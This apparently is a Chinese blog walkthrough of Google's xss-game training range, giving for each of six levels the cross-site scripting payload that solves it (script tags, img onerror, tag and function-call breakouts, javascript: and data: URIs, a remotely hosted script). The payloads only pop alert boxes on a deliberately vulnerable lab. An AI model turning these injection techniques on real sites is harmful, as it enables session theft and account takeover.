2022-渗透测试-xss小游戏通关

简介: 2022-渗透测试-xss小游戏通关

 这是一个在线靶场-xss小游戏通关,一共6关。链接地址:

网络异常,图片无法展示
|
登陆成功后,页面如下。

image.gif编辑第一关:Hello, world of XSS

第一关没有对输入的字符串进行任何的过滤,我们可以在漏洞的窗体或直接在输入栏输入特定的恶意url以之行你想要的JavaScript脚本。

<script>alert('123');</script>

image.gif

image.gif编辑

image.gif编辑

第二关:Persistence is key

image.gif编辑

如果还是输入<script>alert()</script>代码,发现并没有弹窗,预定义的字符代码已经被转译成了HTML实体了 。直接闭合前后标签,构造新的标签即可。

<img src="1.jpg" onerror="javascript:alert(1);"/>

image.gif

image.gif编辑

第三关:That sinking feeling...

image.gif编辑

这一关的输出是在img src里面,可以说是考js闭合问题,直接闭合前面的src,造成无法加载成功弹框。

观察网页,是三张图片,分别代表三个不同的url链接。实际上就是用#后面跟的数字用来区分不同的图片。

https://xss-game.appspot.com/level3/frame#'><script>alert(123);</script>

image.gif

image.gif编辑

image.gif编辑

image.gif编辑

第四关:Context matters

image.gif编辑

image.gif编辑

我们将3改成<script>alert(123);</script>。

image.gif编辑

地址栏直接输出了,但是奇怪的是下面的计时器脚本仍然被执行了,想到应该是设置了默认值。

查看网页源代码

<script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>

image.gif

看到了确实有个默认值等于3秒,这就是之前直接alert弹窗失败的原因。

在地址栏加上引号,如图,此时进入了一个无线循环中。

image.gif编辑

闭合图中的startTimer()函数,然后弹框即可。image.gif编辑

https://xss-game.appspot.com/level4/frame?timer=100'),alert('Borber

image.gif

image.gif编辑

第五关:Breaking protocol

image.gif编辑

image.gif编辑

我们尝试输入<script>alert(123);</script>

image.gif编辑

查看网页源代码

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
  <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">
    <br><br>
    <a href="{{ next }}">Next >></a>
  </body>
</html>

image.gif

可以看到一个超链接标签,这个是用来跳转到新页面的按钮,用到的代码结构如下。

<a href='javascript:doSomething()'>...</a>

image.gif

执行权首先落在都Something()函数,若存在返回值则将返回值返给超链接进行合成。这样的便利催生了下面的注入代码:首先在地址栏输入注入代码接着敲回车键,这会更改其默认url地址,然后在输入栏再写一遍注入代码并回车即可。

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert("Borber")

image.gif

image.gif编辑

第六关:Follow the 🐇

image.gif编辑

尝试着输入

image.gif编辑

首先写一个最简单的一句话JavaScript脚本aa.js

alert(1);

image.gif

放到/var/www/html/目录下面,接着开启Kali自带的apache2服务器。现在你的文件对目标网站是可见的了,至少说是可被加载的了。把下面的注入字符串写到#号后面实现代码注入。

HTTP:127.0.0.1/aa.js

image.gif

注入成功。这里注意的是,跟在#后面的HTTP必须大写,否则在#后面要先写一个空格。

image.gif编辑

最简单的方法是这样写:

data:text/javascript,alert(1);

image.gif

image.gif编辑


相关文章
|
6月前
|
JavaScript 前端开发 安全
XSS Challenges 通关解析
XSS Challenges 通关解析
|
JavaScript 安全 PHP
xss挑战之旅靶场通关教程(下)
xss挑战之旅靶场通关教程(下)
220 1
|
安全 关系型数据库 MySQL
渗透测试——xss-labs环境部署
渗透测试——xss-labs环境部署
460 0
|
JavaScript 安全 前端开发
渗透测试之XSS(四)
渗透测试之XSS(四)
120 0
|
存储 JavaScript 安全
xss挑战之旅靶场通关教程(上)
xss挑战之旅靶场通关教程(上)
462 0
|
Web App开发 JavaScript 安全
XSS Challenge通关简单教程
XSS Challenge通关简单教程
100 0
|
JavaScript 安全 前端开发
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞(下)
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞
251 0
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞(下)
|
存储 JavaScript 安全
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞(中)
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞
240 0
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞(中)
|
存储 安全 JavaScript
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞(上)
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞
288 0
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞(上)
|
1月前
|
安全 Linux 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)